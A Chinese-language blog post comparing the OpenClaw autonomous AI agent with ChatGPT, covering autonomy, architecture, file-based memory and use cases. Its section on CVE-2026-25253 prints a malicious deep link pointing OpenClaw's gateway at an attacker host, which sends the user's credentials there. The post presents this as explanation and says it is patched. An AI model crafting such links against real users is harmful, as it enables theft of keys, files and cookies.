OpenClaw与ChatGPT的本质区别：从第一性原理理解自主AI代理
2026年1月，我的朋友圈被OpenClaw刷屏了。3天10万+GitHub星标，各种”AI革命来了”的推送满天飞。当时我看到标题就想：嗯，估计又是个能在本地跑的ChatGPT吧？本地数据安全，不用担心隐私泄露，挺好的。
结果2月初，我看到一条安全警报：CVE-2026-25253，CVSS评分10分（满分）。什么概念？就是说只要你点了一个恶意链接，OpenClaw就能被完全控制——攻击者可以读你的根目录文件、拿到你的API密钥、翻你的浏览器历史。
我当时就懵了。这种事在ChatGPT上根本不可能发生啊。同样是AI，为啥OpenClaw能执行Shell命令、读写文件、控制浏览器，而ChatGPT只能乖乖生成文本？
那天晚上我花了几个小时翻OpenClaw的GitHub仓库和技术文档，总算明白了。原来很多人（包括我）从一开始就理解错了——OpenClaw压根不是”本地版ChatGPT”，它是一种完全不同的物种：自主AI代理（Autonomous AI Agent）。
这篇文章，我想跟你聊聊”自主性”到底是什么。从第一性原理出发，拆解OpenClaw和ChatGPT的本质区别。如果你也在思考什么时候该用对话式AI，什么时候该用AI代理，这篇应该能帮到你。
第一性原理：什么是”自主性”？
回到定义本身。ChatGPT是对话式AI（Conversational AI），OpenClaw是自主AI代理（Autonomous AI Agent）。这两个词看着差不多，实际上天差地别。
我用一个真实场景给你解释。假设你桌面上有一堆文件乱七八糟的，你想整理一下。
跟ChatGPT说：“帮我整理桌面文件。”
ChatGPT会回你：
“当然！你可以这样做：
- 创建几个文件夹，比如’照片”文档”下载’
- 把对应的文件移动进去
- 删除不需要的临时文件
需要我提供具体的命令吗？”
注意，它只是建议。你还得自己打开文件管理器，手动创建文件夹，手动拖拽文件。
换成OpenClaw，同样的话：
它直接执行：
ls ~/Desktop
mkdir ~/Desktop/photos ~/Desktop/docs ~/Desktop/downloads
mv ~/Desktop/*.jpg ~/Desktop/photos
mv ~/Desktop/*.pdf ~/Desktop/docs你的桌面，真的被整理了。
看出区别了吗？ChatGPT是说，OpenClaw是做。
这背后有三个本质差异：
1. 输入输出不同
- ChatGPT：文本 → 文本（你问一句，它答一句）
- OpenClaw：意图 → 操作（你说一个需求，它执行一串动作）
2. 运行环境不同
- ChatGPT：云端沙箱（OpenAI的服务器上，隔离的虚拟环境）
- OpenClaw：你的本地机器（直接跑在你的电脑上，有完整的系统权限）
3. 权限模型不同
- ChatGPT：零系统权限（它连你的文件系统都看不到）
- OpenClaw：完整权限（文件系统、Shell、浏览器控制，全都能碰）
说白了，ChatGPT是个顾问，只能出主意；OpenClaw是个助理，直接帮你干活。这就是”自主性”的核心——能否独立完成操作，而非仅仅提供建议。
对话式AI vs 行动式AI——能力边界在哪里？
理解了”自主性”之后，咱们再深入一点：这两种AI的能力边界到底在哪？
ChatGPT的能力边界
ChatGPT擅长的事情很清楚：自然语言理解、文本生成、上下文对话。你问它”怎么做红烧肉”，它能给你详细的步骤；你让它写一封邮件，它能写得很得体。
但它有个根本限制：每次交互都是独立的API调用。你发一条消息，它回一条，完事。下次你再问，它其实不记得上次聊了啥——除非你用付费的Memory功能，或者自己把对话历史一直传给它。
ChatGPT现在也有Plugins和GPTs，能调用外部API了。比如你让它”查一下今天天气”，它能调天气API返回结果。但注意，这还是”请求-响应”模式。它没法主动监控天气，没法在下雨前自动提醒你。
OpenClaw的能力边界
OpenClaw的能力就野多了。它的核心能力包括：
- Shell命令执行：直接跑bash/zsh/PowerShell命令
- 文件系统读写：读取、编辑、创建、删除文件
- 浏览器控制：通过Chrome DevTools Protocol（CDP）操作浏览器，能点击、填表单、截图
- 跨平台消息路由：支持WhatsApp、Telegram、Discord、Slack、Signal、iMessage等14+个消息平台
更关键的是，它有自主性。举个例子：
我之前让OpenClaw”每天早上9点检查GitHub上有没有新的issue，有的话发Telegram通知我”。它就真的做到了——设置了定时任务，每天自动检查，发现新issue就推送。
这在ChatGPT上完全做不到。ChatGPT没法主动做事，它只能被动响应你的请求。
还有一点很多人不知道：OpenClaw有持久化记忆。它会在本地创建Markdown文件（memory/YYYY-MM-DD.md），记录每天的对话和操作。下次你问它”上周那个Python脚本在哪”，它能翻记录告诉你。这种记忆是跨会话的，不需要你每次都重复背景信息。
说到底，ChatGPT是个知识渊博的对话伙伴，OpenClaw是个能动手的智能助理。前者帮你想，后者帮你做。
OpenClaw的三层架构——为什么它能”行动”？
你可能会好奇：OpenClaw到底是怎么实现这些能力的？我花了一个下午研究它的架构，发现它设计得挺巧妙，分三层。
第一层：Gateway（控制平面）
这是OpenClaw的”大脑”。它基于Node.js，跑在你本地机器上，默认绑定到loopback（127.0.0.1），也就是说只能你自己访问。如果你想远程控制，可以通过Tailscale或SSH打通。
Gateway的核心是WebSocket网络架构，负责管理所有的客户端、工具、事件。你通过Telegram发一条消息，Gateway接收到之后，决定调用哪个工具、返回什么结果。
这里有个安全机制叫”DM配对策略”（dmPolicy="pairing"）。意思是，如果一个陌生发送者第一次给OpenClaw发消息，它不会直接执行，而是要求输入配对码。这是为了防止有人冒充你下指令。
第二层：Channel（消息路由）
这一层是OpenClaw的”神经系统”。它支持14+个消息平台，包括WhatsApp、Telegram、Discord、Slack、Signal、iMessage等等。你可以在Telegram上给它发命令，也可以在Discord上问它问题。
OpenClaw会做会话隔离：
main会话：你直接跟OpenClaw的对话group会话：独立隔离的群聊模式
这样设计的好处是，你在工作群里@OpenClaw让它查个资料，不会干扰到你私下跟它的对话上下文。
第三层：LLM（推理引擎）
这是OpenClaw的”思考能力”。它本身不绑定特定的大模型，你可以用Claude Opus 4.5，也可以用GPT-4，甚至可以用Ollama跑本地模型。
关键点在于工具调用（Tool Calling / Function Calling）。当你说”帮我整理桌面文件”，LLM会理解你的意图，那决定调用bash工具执行mkdir、mv命令。这个过程是自动的，不需要你手动指定。
ChatGPT其实也支持Function Calling，但它只能调用你提前定义好的API。OpenClaw不一样，它能调用任意Shell命令、任意文件操作，这才是真正的自主性。
三层架构一配合，OpenClaw就从一个”会聊天的AI”变成了一个”会干活的AI”。
持久化记忆机制——为什么OpenClaw”记得”你？
前面提到OpenClaw有持久化记忆，这点我觉得特别有意思。它的设计哲学叫”文件优先”（File-First），听起来有点复古，但用起来很爽。
两层记忆结构
OpenClaw的记忆分两种：
临时记忆（Ephemeral Memory）：每天一个Markdown文件，路径是
memory/YYYY-MM-DD.md。你今天跟OpenClaw的所有对话、它执行的所有操作，都记在这个文件里。持久记忆（Durable Memory）：一个专门的
MEMORY.md文件，像知识库一样。你可以把重要的信息、常用的命令、项目配置手动写进去，OpenClaw会优先参考这个文件。
举个例子：上周我让OpenClaw帮我写了个Python爬虫，保存在~/scripts/scraper.py。今天我问它”那个爬虫脚本在哪？“，它直接翻memory/2026-02-01.md，告诉我路径。
这种设计有个好处：完全透明。你想知道OpenClaw记住了什么，直接打开Markdown文件看就行。不像ChatGPT的Memory功能，藏在云端，你都不知道它到底记了啥。
而且，这些记忆文件是你的。你可以手动编辑、备份、甚至用Git管理。我现在养成习惯了，每周五会把MEMORY.md推到私有仓库，万一哪天OpenClaw挂了，记忆还在。
与ChatGPT的记忆对比
ChatGPT也有Memory功能，但那是付费订阅才有的。它把你的偏好、习惯记在云端，下次聊天会参考。但你没法直接看到或编辑这些记忆，只能通过对话让ChatGPT”忘掉某些事”。
OpenClaw正好相反：记忆在本地，格式是Markdown，完全可控。你想让它忘掉某段对话？直接删那几行就行。想让它记住新信息？手动写进MEMORY.md。
说实话，我更喜欢这种方式。AI的记忆应该是我的资产，不应该锁在某个平台的服务器上。
为什么OpenClaw会有CVE-2026-25253漏洞？
回到开头提到的那个漏洞。当时看到CVSS 10分评分，我吓了一跳——这可是最高严重等级。后来研究了一下，才明白为什么会出现这种问题。
漏洞本质是什么？
OpenClaw有个功能，允许通过URL参数指定gatewayUrl，那自动建立WebSocket连接。比如你点了一个链接：
openclaw://connect?gatewayUrl=ws://attacker.com:8080OpenClaw会直接连到这个地址，并且传输你的认证凭据——这个过程没有任何用户确认。
攻击者能拿到什么？
- 你的根目录文件（可能包含SSH密钥、配置文件）
- 你的API密钥（OpenAI、Claude等）
- 你的浏览器历史和Cookie
基本上，你电脑上OpenClaw能访问的东西，攻击者都能拿到。这就是为什么CVSS评10分——完全的远程代码执行（RCE）。
好在官方反应很快，2026年1月29日版本已经修复了。现在OpenClaw会弹窗让你确认：“你确定要连接到这个陌生的Gateway吗？“
为什么ChatGPT不会有这类漏洞？
这个问题很关键。ChatGPT压根不可能出现这种漏洞，原因很简单：它没有本地执行权限。
ChatGPT跑在OpenAI的云端服务器上，每个用户的对话都在隔离的沙箱里。你问它问题，它生成文本返回给你，就这么简单。它碰不到你的文件系统，碰不到你的浏览器，碰不到你的API密钥。
OpenClaw不一样。它跑在你的本地机器上，有完整的系统权限。这是它能”干活”的前提，但也是它有风险的根源。
这就是我说的权衡：自主性（Autonomy）= 高能力 + 高风险。
你想要一个能帮你整理文件、执行脚本、控制浏览器的AI助理？那你就得接受它有系统权限的事实。权限越大，责任越大——漏洞的影响也越大。
这不是说OpenClaw不安全。它已经有DM配对策略、Gateway绑定loopback等安全机制了。但你得明白：任何有系统权限的软件，都有被攻击的风险。OpenClaw如此，VSCode插件如此，浏览器扩展也如此。
关键是你要知道自己在用什么，风险在哪里。
什么场景该用谁？选型指南
聊了这么多，最实际的问题来了：我什么时候该用ChatGPT，什么时候该用OpenClaw？
ChatGPT适用的场景
如果你的需求是这些，ChatGPT完全够用：
快速获取信息：查资料、问问题、解释概念。ChatGPT的知识库很广，回答质量也稳定。
内容生成：写邮件、写文案、翻译文档。这是ChatGPT的强项，速度快，质量高。
头脑风暴：想创意、讨论方案、提供建议。你需要一个对话伙伴，而不是一个执行者。
安全性要求高：如果你在公司内网，或者处理敏感数据，ChatGPT的云端沙箱隔离是个优势。它碰不到你的本地文件，也就不会泄露。
简单说：需要想，不需要做的事，用ChatGPT。
OpenClaw适用的场景
如果你有这些需求，OpenClaw才能发挥真正价值：
自动化重复性任务：批量处理文件、定时检查数据、生成报表。OpenClaw能写脚本、设定时任务，不需要你每次都手动操作。
跨平台消息集成：你想在Telegram上发个命令，让OpenClaw在Discord上发通知，或者从Slack获取消息同步到WhatsApp。这种跨平台协调，OpenClaw很擅长。
持久化上下文：你在做一个长期项目，需要AI记住所有细节、历史决策、代码结构。OpenClaw的本地记忆能跨会话保持上下文。
浏览器自动化：自动化测试、网页截图、表单填写。OpenClaw通过CDP协议能完全控制浏览器。
本地数据优先：你不想把数据传到云端，或者需要处理本地文件、调用本地工具。
简单说：需要做，而且要重复做的事，用OpenClaw。
我的个人经验
我现在是这样用的：
- 日常咨询：ChatGPT。问技术问题、查资料、写文档大纲。
- 代码审查：ChatGPT。粘贴代码让它找问题、提建议。
- 自动化任务：OpenClaw。每天早上自动检查GitHub issue、整理下载文件夹、定时备份笔记。
- 项目协作：OpenClaw。它记得我所有项目的目录结构、常用命令、环境配置。
两个工具不是竞争关系，而是互补的。ChatGPT是你的”顾问”，OpenClaw是你的”助理”。顾问帮你想清楚要做什么，助理帮你把事情做完。
结论
写这篇文章的时候，我一直在想：AI的进化到底是什么？
从ChatGPT到OpenClaw，不只是技术的迭代，更是能力边界的拓展。ChatGPT让AI学会了”说话”，OpenClaw让AI学会了”做事”。
但这种进化不是免费的。自主性带来了能力，也带来了风险。CVE-2026-25253提醒我们：当AI有了系统权限，它既能成为你的得力助手，也可能成为攻击者的入口。
说到底，理解OpenClaw和ChatGPT的区别，本质上是理解对话与行动的区别、建议与执行的区别、云端与本地的区别。
别再把OpenClaw当成”本地版ChatGPT”了。它是一个全新的物种——自主AI代理。它的价值不在于能聊天，而在于能行动。
你需要的是一个能帮你想清楚的顾问，还是一个能帮你干完的助理？想清楚这个问题，你就知道该选谁了。
常见问题
OpenClaw和ChatGPT最核心的区别是什么？
简单说，ChatGPT是「说」，OpenClaw是「做」。前者帮你想，后者帮你干活。
为什么OpenClaw能执行系统命令而ChatGPT不能？
• ChatGPT：运行在OpenAI云端服务器的隔离沙箱中，零系统权限，碰不到用户的文件系统
• OpenClaw：运行在用户本地机器上，拥有完整系统权限，可以访问文件系统、执行Shell命令、控制浏览器
这种设计差异决定了ChatGPT只能生成文本建议，而OpenClaw能实际执行操作。
CVE-2026-25253漏洞为什么这么严重？
攻击者只需发送一个恶意链接（openclaw://connect?gatewayUrl=恶意地址），OpenClaw会自动连接并传输认证凭据，攻击者可以：
• 读取根目录文件（SSH密钥、配置文件）
• 获取API密钥（OpenAI、Claude等）
• 访问浏览器历史和Cookie
好在2026年1月29日版本已修复，现在会弹窗要求用户确认连接。
OpenClaw的持久化记忆是怎么工作的？
• 临时记忆：每天一个文件（memory/YYYY-MM-DD.md），记录当天所有对话和操作
• 持久记忆：MEMORY.md文件，像知识库一样存储重要信息、常用命令、项目配置
优势是完全透明可控：你可以直接打开、编辑、备份这些文件，甚至用Git管理。不像ChatGPT的Memory功能锁在云端无法直接访问。
什么场景应该选择OpenClaw而不是ChatGPT？
• 自动化重复性任务：批量处理文件、定时检查数据、生成报表
• 跨平台消息集成：在Telegram发命令，让它在Discord发通知
• 持久化上下文：长期项目需要AI记住所有细节、历史决策
• 浏览器自动化：自动化测试、网页截图、表单填写
• 本地数据优先：不想把数据传云端，需要处理本地文件
而ChatGPT适合快速咨询、内容生成、头脑风暴等不需要实际执行的场景。两者互补，不是替代关系。
OpenClaw支持哪些消息平台？
• 即时通讯：WhatsApp、Telegram、Discord、Slack、Signal
• 企业协作：Microsoft Teams、Mattermost
• 社交平台：iMessage、Twitter/X
• 其他：IRC、Matrix等
你可以在任一平台发命令，OpenClaw会统一处理，并且支持会话隔离（main会话和group会话独立），不会互相干扰上下文。
使用OpenClaw有哪些安全风险需要注意？
• 权限风险：它能访问你的文件系统、执行任意命令，误操作可能删除重要文件
• 网络风险：默认绑定127.0.0.1（仅本地访问），如果远程暴露需要额外安全措施
• 认证风险：使用DM配对策略防止陌生人发指令，务必保管好配对码
• 漏洞风险：及时更新版本，关注安全公告
记住：自主性=高能力+高风险。任何有系统权限的软件都有被攻击的可能，关键是理解风险并采取适当防护措施。
14 分钟阅读 · 发布于: 2026年2月4日 · 修改于: 2026年2月5日
评论
使用 GitHub 账号登录后即可评论